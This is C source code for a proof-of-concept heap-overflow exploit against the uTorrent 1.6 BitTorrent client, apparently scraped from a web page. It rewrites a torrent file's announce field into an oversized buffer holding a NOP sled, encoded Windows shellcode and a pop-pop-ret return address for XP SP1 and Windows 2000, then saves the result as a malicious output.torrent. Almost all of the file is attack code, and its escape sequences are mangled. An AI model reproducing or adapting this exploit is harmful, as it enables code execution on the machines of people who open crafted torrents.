/*
* This is a PoC remote exploit for uTorrent 1.6
*
* Author:
* defsec <defacedsecurity@hotmail.com>
* http://www.defacedsecurity.com
*
*
* Works on XP SP1 and w2k sp1-4
*
*/
#include <stdio.h>
#include <stdlib.h>
#define NASIZE 4880
unsigned char nice_announce[NASIZE];
unsigned char xorops[]=\\\"x33xc0x33xdb\\\";
// win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum
// Restricted Character 0x00
unsigned char shellcode[]=
\\\"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49\\\"
\\\"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36\\\"
\\\"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34\\\"
\\\"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41\\\"
\\\"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34\\\"
\\\"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47\\\"
\\\"x45x30x4ax37x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48\\\"
\\\"x4fx55x42x42x41x30x4bx4ex49x44x4bx58x46x43x4bx58\\\"
\\\"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c\\\"
\\\"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e\\\"
\\\"x46x4fx4bx43x46x45x46x42x46x50x45x37x45x4ex4bx38\\\"
\\\"x4fx45x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx54\\\"
\\\"x4bx38x4fx35x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48\\\"
\\\"x41x50x4bx4ex49x48x4ex45x46x42x46x50x43x4cx41x53\\\"
\\\"x42x4cx46x36x4bx58x42x54x42x53x45x48x42x4cx4ax37\\\"
\\\"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a\\\"
\\\"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx38x42x58x42x4b\\\"
\\\"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53\\\"
\\\"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37\\\"
\\\"x42x35x4ax36x50x47x4ax4dx44x4ex43x47x4ax36x4ax49\\\"
\\\"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x46x41x46\\\"
\\\"x4ex46x43x46x42x30x5a\\\";
//msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4
unsigned char jmptosc[] = \\\"xebx04
xa7x2cxc2x77
x33xc0xb0x11xc1xe0x08x5bx5bx5bx2bxd8xffxe3\\\";
int main(int argc,char *argv[])
{
FILE * pFile;
long lSize;
char * buffer;
size_t result;
long i = 0;
long j = 0;
long lPtrIndex;
long lHeadSize;
long lTailSize;
char * curptr;
char * alptr;
char * torrentTail;
if (argc < 2)
{
printf(\\\"
[uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]\\\");
printf(\\\"
Usage: \\\");
printf(\\\"%s\\\",argv[0]);
printf(\\\" <TorrentFile>
\\\");
return 0;
}
pFile = fopen (argv[1],\\\"rb\\\");
if (pFile==NULL)
{
fputs (\\\"File error\\\",stderr);
return 0;
}
// obtain file size:
fseek (pFile ,0,SEEK_END);
lSize = ftell (pFile);
rewind (pFile);
// allocate memory to contain the whole file:
buffer = (char*) malloc (sizeof(char)*lSize);
if (buffer == NULL)
{
fputs (\\\"Memory error\\\",stderr);
return 0;
}
// copy the file into the buffer:
result = fread (buffer,1,lSize,pFile);
if (result != lSize)
{
fputs (\\\"Reading error\\\",stderr);
return 0;
}
fclose (pFile);
/* find announce / announce-list and erase it */
alptr = (char *) strstr(buffer,\\\"announce\\\");
if (alptr == NULL)
{
printf(\\\"
invalid torrent file\\\");
return 0;
}
curptr = (char *) strstr(alptr, \\\"7:comment\\\");
lHeadSize = curptr - buffer ;
lTailSize = lSize - lHeadSize;
torrentTail = (char *) malloc (sizeof(char)*lTailSize);
memcpy(torrentTail,curptr,lTailSize);
/* generate offending header */
strcpy(nice_announce,\\\"d8:announce4864:\\\");
for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++)
nice_announce[lPtrIndex] = 0x90;
lPtrIndex = 84;
memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1);
lPtrIndex += sizeof(xorops) -1;
memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1);
for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++)
nice_announce[lPtrIndex] = jmptosc[i];
/* get head and tail together into a file */
curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize));
for (i=0;i<NASIZE;i++)
curptr[i] = nice_announce[i];
for (;i<(NASIZE+lTailSize);i++,j++)
curptr[i] = torrentTail[j];
/* write to file and exit */
pFile = fopen ( \\\"output.torrent\\\" , \\\"wb\\\" );
if (pFile==NULL)
{
fputs (\\\"File error\\\",stderr);
return 0;
}
fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile);
fclose (pFile);
return 1337; //:)
}
暂无评论